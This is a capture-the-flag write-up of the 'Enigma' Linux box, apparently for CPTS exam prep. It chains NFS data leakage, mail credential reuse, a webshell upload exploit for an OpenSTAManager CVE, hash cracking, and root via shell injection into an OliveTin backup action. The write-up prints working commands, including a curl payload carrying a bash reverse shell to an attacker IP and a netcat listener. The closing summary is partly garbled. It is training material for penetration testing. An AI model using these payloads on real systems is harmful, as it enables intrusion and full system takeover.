Enigma is an Easy-rated Linux box that reads almost like a corporate security audit checklist of what not to do: an unauthenticated NFS share leaking onboarding documents, password reuse across a mail server and a CRM admin panel, a very recent (and very real) CVE in OpenSTAManager for authenticated RCE, and — for the cherry on top — a root-owned automation tool sitting wide open on localhost with a shell-injectable "backup database" button.
None of the individual steps were hard. What made this box interesting was how each weak link fed directly into the next one, which is exactly the kind of chain you find on real internal networks during an engagement.
Standard full TCP scan first:
sudo nmap -sV -sC -p- --min-rate 5000 <target>
Notable services:
| Port | Service |
|---|---|
| 22 | OpenSSH 9.6p1 (Ubuntu) |
| 80 | nginx, redirects to enigma.htb |
| 110/995 | POP3 / POP3S (Dovecot) |
| 111/2049 | rpcbind / NFS |
| 143/993 | IMAP / IMAPS (Dovecot) |
Two things stood out immediately: an exposed NFS share and a full mail stack (POP3/IMAP, both plaintext and SSL variants). That combination usually means there are real mailboxes to break into, and NFS is the classic Easy-box way to get the first foothold of information to do it.
showmount -e <target> mkdir -p /tmp/enigma-nfs sudo mount -t nfs <target>:/srv/nfs/onboarding /tmp/enigma-nfs -o nolock ls -la /tmp/enigma-nfs
The share was exported with no authentication and contained a single file:
New_Employee_Access.pdf. Extracting the text:
pdftotext New_Employee_Access.pdf -
The PDF handed over a working webmail credential set for an employee named
Kevin, including a URL for an internal webmail portal
(mail001.enigma.htb).
Rather than mess with the webmail UI, it's faster to just talk to Dovecot directly:
openssl s_client -connect <target>:995 -quiet USER kevin PASS <redacted> LIST RETR 1
Kevin's inbox had a single onboarding email from a colleague, Sarah, which
didn't contain credentials directly but confirmed a second employee account
existed. Trying the same technique against Sarah's mailbox (same default
password pattern the company had clearly issued) turned up the real prize:
an internal email from IT provisioning her access to an OpenSTAManager
CRM instance — complete with the shared admin account credentials, since
her dedicated account hadn't been created yet.
Logging into support_001.enigma.htb with the leaked admin credentials
dropped straight into a full OpenSTAManager dashboard. The CHANGELOG.md
confirmed a very recent build (v2.9.8, December 2025), which ruled out most
of the older, already-patched CVEs.
A little research turned up CVE-2026-38751: an authenticated arbitrary file upload vulnerability in OpenSTAManager's module update mechanism, allowing a valid admin session to upload a ZIP disguised as a module containing a PHP webshell.
A public Rust-based PoC automates the whole chain — login, enabling the updates feature, crafting the malicious ZIP with a valid module descriptor and an embedded shell, uploading it, and verifying execution:
./openstamanager-rce-exploit \ --url http://support_001.enigma.htb/ \ -U admin -P '<redacted>' \ --lhost <attacker_ip> --lport 4444
This landed a shell as www-data, with the webshell dropped at
/modules/shell/shell.php.
From www-data, the OpenSTAManager config file was readable and contained
plaintext database credentials:
cat /var/www/html/openstamanager/config.inc.php
Those DB credentials didn't work directly against any system account via
su, but they were valid for the MySQL instance itself. Dumping the
application's own zz_users table (its internal user/auth table) turned up
a bcrypt password hash for a user called haris — notably the only
account on the box with an actual login shell (everyone else was
/usr/sbin/nologin, mail/web-only accounts).
mysql -u <db_user> -p'<db_pass>' -h localhost openstamanager \ -e "SELECT * FROM zz_users\G"
The hash cracked almost instantly against rockyou with John the Ripper — a nice thematic touch, given the DB password itself had been a variation on "friends":
john --wordlist=/usr/share/wordlists/rockyou.txt haris_hash.txt
Password recovered, straight su into haris, and grabbed the user flag.
haris@enigma:~$ cat user.txt
[user flag captured ✅]
No sudo rights for haris, no juicy SUID binaries, nothing unusual in cron.
The real lead came from simply looking at the current working directory
after landing the shell — it was sitting inside
/var/www/olivetin/.
OliveTin is a self-hosted web UI that runs predefined shell commands/scripts as buttons behind a browser. Checking the running process and systemd unit confirmed it:
ps aux | grep -i olivetin # root 1539 ... /usr/local/bin/OliveTin
Running as root, with no User= directive in its systemd unit, and bound
only to 127.0.0.1:1337. Reading its config file
(/etc/OliveTin/config.yaml) revealed a whole set of predefined actions —
most were harmless demo entries (ping, disk space, dmesg) straight out of
OliveTin's default example config. One, however, stood out:
- title: Backup Database
id: backup_database
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- name: db_user
type: ascii_identifier
- name: db_pass
type: password
- name: db_name
type: ascii_identifier
db_user and db_name are typed as ascii_identifier, which restricts
input to safe characters. db_pass is typed as password — no such
restriction. Since the shell template drops that value straight inside a
single-quoted string with no escaping, a value like '; <anything>; '
breaks out of the quoting and injects arbitrary shell commands.
The config also had authRequireGuestsToLogin: false and default
permissions of exec: true — meaning no login was even required to trigger
actions against this instance.
OliveTin's actual API turned out to be a Connect-RPC service reachable over
plain HTTP/JSON at /api/StartAction (found by grepping the compiled
frontend bundle for the real route, since the binary's internal protobuf
service name was not the actual HTTP path). Triggering the backup action
with a malicious db_pass:
curl -s -X POST http://127.0.0.1:1337/api/StartAction \
-H "Content-Type: application/json" \
-H "Connect-Protocol-Version: 1" \
-d '{
"bindingId": "backup_database",
"arguments": [
{"name": "db_user", "value": "x"},
{"name": "db_pass", "value": "'"'"'; setsid nohup bash -c \"bash -i >& /dev/tcp/<attacker_ip>/4446 0>&1\" </dev/null >/dev/null 2>&1 & disown; '"'"'"},
{"name": "db_name", "value": "x"}
]
}'
setsid nohup ... & disown detaches it into its own
session so it survives past the parent action's lifecycle. Worth remembering
for any action-runner / task-automation RCE in the future.
Listener catches the callback as root:
nc -lvnp 4446 ... root@enigma:/# id uid=0(root) gid=0(root)
root@enigma:~# cat /root/root.txt
[root flag captured ✅]
www-datasu to that user → user flagpassword-typed argument in a shell template allows command injection via the "Backup Database" actionshowmount -e early.ascii_identifier vs password) in the same action are worth specifically checking for injection.setsid/nohup/disown before assuming the exploit failed.Scarif Operations | th3m4dh4ck3r.com | CPTS prep, Season 11